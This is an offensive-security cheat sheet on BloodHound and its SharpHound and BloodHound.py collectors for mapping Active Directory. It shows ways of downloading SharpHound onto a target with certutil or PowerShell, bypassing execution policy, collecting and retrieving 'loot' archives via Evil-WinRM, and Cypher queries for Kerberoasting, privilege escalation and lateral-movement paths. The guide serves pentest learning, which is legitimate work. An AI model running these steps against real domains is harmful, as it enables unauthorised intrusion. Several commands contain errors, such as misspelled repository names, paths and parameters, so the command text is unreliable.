BloodHound
BloodHound is an Acitive Directory(AD) enumeration tool that leverages graph theory to discover and map AD relationships
It provides a GUI interface for vizualizing AD objects (e.g. users, group, computers)
It maps complex relationships to identify potential privilege escalation paths and misconfigurations
Uses Neo4j as the backend database for storing and querying data
Comes wih preferred queries for common enumeration and also supports custom Cypher queries for more specific use cases
BloodHoundAD/BloodHound Github BloodHound docs SharpDound Docs Offensive Guide
Installation & Setup on kali
apt install bloodhound
neo4j console
Access Neo4j Web interface
http://localhost:7474/
Default Credentials
neo4j:neo4j
Change password to :
neo4j:password123
start BloodHound
bloodHound
Installation on other linux
Install Neo4j Database
BloodHound requires Neo4j to store and query AD data
Download and install Neo4j
Download the Neo4j Community edition
wget http://neo4j.com/artifact.php?name=neo4j-community-5.12.0-unix.tar.gz
Extract and install Neo4j
tar -xvzf neo4j-community-5.12.0-unix.tar.gz
cd nep4j-community-5.12.0-unix.tar.gz
Start Neo4j Service
./bin/neo4j console
Set the default credential in Neo4j
Username: neo4j
Password: neo4j
Install BloodHound
Clone BloodHound Repository
git clone http://github.com/BloodHoundAD/BloodHount.git
Install dependencies
cd BloodHound
npm install
npm run build
SharpHound (Data Collector)
BloodHound relies on SharpHound to collect AD data from the enviornment.
SharpHound is written in C# and comes as an executable or powershell script
BloodHound Collectors Github Sharphound Github SharpHound Releases
Download SharpHound from BloodHound Github Release
wget https://github.com/BloodHoundAD/BloodHound/releases/download/4.0.3/SharpHound.exe
Transfer
SharpHound.exe
to the target machine using SMB, HTTP, Evil-WinRM or other methods
powershell (New-Object System.Net.WebClient).DownloadFile('<url>','SharpHound.exe')
certutil.exe -urlcache -split -f "<url>" SharpHound.ps1
certutil.exe -urlcache -split -f "<url>" SharpHound.exe
Run SharpHound for Data Collection
Sharphound can collect various types of data
All Collection methods
.\SharpHound.exe -c All -v
Group membership collection
.\SharpHound.exe -c Group -v
Session collection
.\SharpHound.exe -c Session -v
ACL collection
.\SharpHound.exe -c ACL -v
Trust Collection
.\SharpHound.exe Trust -v
Output to ZIP
.\SharpHound.exe -c All -v -o collection.zip
Using Powershell
Bypass Execution Policy
powershell.exe -nop -ep bypass
Import SharpHound Module and start Collection
Import-Module .\SharpHound.ps1
Import-BloodHound -CollectionMethd All -Domain infosecwarrior.local -ZipFileName loot.zip
Use Invoke-BloodHound with different
-CollectionMethod
option to fine-tune your gatheringAll
-> Collect all available data (can be noisy)Default
-> Basic collection suitable for most situationsGroup
,Session
,Trust
-> Targeted collection for specific needs
Alternate JSON output example
.\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -JSONFolder "c:\data\bloodhound"
Downloading Results via Evil-WinRM
*Evil-WinRM* PS C:\Users\DevNull> download BloodHound.zip
*Evil-WinRM* PS C:\Users\DevNull> download loot.zip
Import Collected Data into BloodHound
Open BloodHound
./BloodHound
Log into Neo4j using the default credentials
Drag and drop the
collection.zip
file into the BloodHound Interface
BloodHound.py
BloodHound.py is a python based ingestor for BloodHound used to collect Active Directory data from Linux or MacOS system (no need for Windows)
Installation
clone the repository
git clone https://github.com/dirkjanm/BloodHound/py
cd BloodHound.py
Install dependencies
pip install -r requirements.txt
Usage Example
bloodhound-python --dns-tcp -u devnull -p password123 -ns 192.168.29.222 -d test.local -c All
Command breakdown
--dns-tcp
Use TCP for DNS resolution (can bypass certain firewall rules)
-u devnull
Username for the domain
-p Password123
Password for the domain
-ns 192.168.29.222
specify the DNS Server(usually the domain controller)
-d test.local
Target Active Directory Domain
-c All
Collect all available data (can use Default, Group, Session, Trust, etc.)
Use -k for kerberos authentication (instead of password)
For a stealthier approach, limit the scope of data collection with
-c
optionThe Collected data will be stored in a
.json
or.zip
file - upload it to BloodHound for analysis
Active Directory Enumeration
Basic Queries
BloodHound comes with builtin queries for quick analysis of AD relationship
Find all domain admins
Find all Domain Admins
Find Shortest path to domain admins
Shortest Path to Domain Admins
Find Kerberoastable account
Find Kerberostable Accounts
Find unconstrained delegation paths
Find Unconstrained Delegation Paths
Find local admin rights
Find Local Admin Rights
User Enumeration
List all users
MATCH (u:User) Return u
Find users with kerberoastable SPNs
MATCH (u:User) WHERE u.hasspn = true RETURN u
Find users who can add members to specific groups
MATCH (u:User)-[:AddMember]->(g:Group) RETURN u.name, g.name
Group Enumeration
List all groups
MATCH (g:Group) RETURN g
Find groups with write permissions to other groups
MATCH (g:Group)-[:GenericWrite]->(t:Group) RETURN g,t
Find nested group membership
MATCH (g:Group)-[:MemberOf*1..]->(p:Group) RETURN g.name, p.name
Computer Enumeration
List all Computers
MATCH (c:Computer) RETURN c
Find computers with local admin privileges
MATCH (u:User)-[:AdminTo]->(c:Computer) RETURN u.name, c.name
Find Computers with unconstrained delegation enabled
MATCH (c:Computer) WHERE c.unconstraineddelegation = true RETURN c
ACL Enumeration
List all ACLs:
MATCH (n)-[r:HasControl|GenericAll|Owns]->(m) RETURN n.name, type(r), m.name
Find users with
GenericAll
on specific objects
MATCH (u:User)-[r:GenericAll]->(o) RETURN u.name, o.name
Trust Enumeration
List all domain trusts
MATCH (d:Domain)-[r:TrustedBy]->(n:Domain) RETURN d.name, r, n.name
Find Paths Between trusted domains
MATCH p=shortestPath((a:Domain)-[*]->(b:Domain)) RETURN p
Attack Techniques
Kerberoasting
MATCH (u:User) WHERE u.hasspn = true RETURN u
Privilege Escalation
MATCH p=shortestPath((u:User)-[*]->(g:Group {name: "Domain Admins"})) RETURN p
Lateral Movement
MATCH (u:User)-[:AdminTo]->(c:Computer) RETURN u.name, c.name
Last updated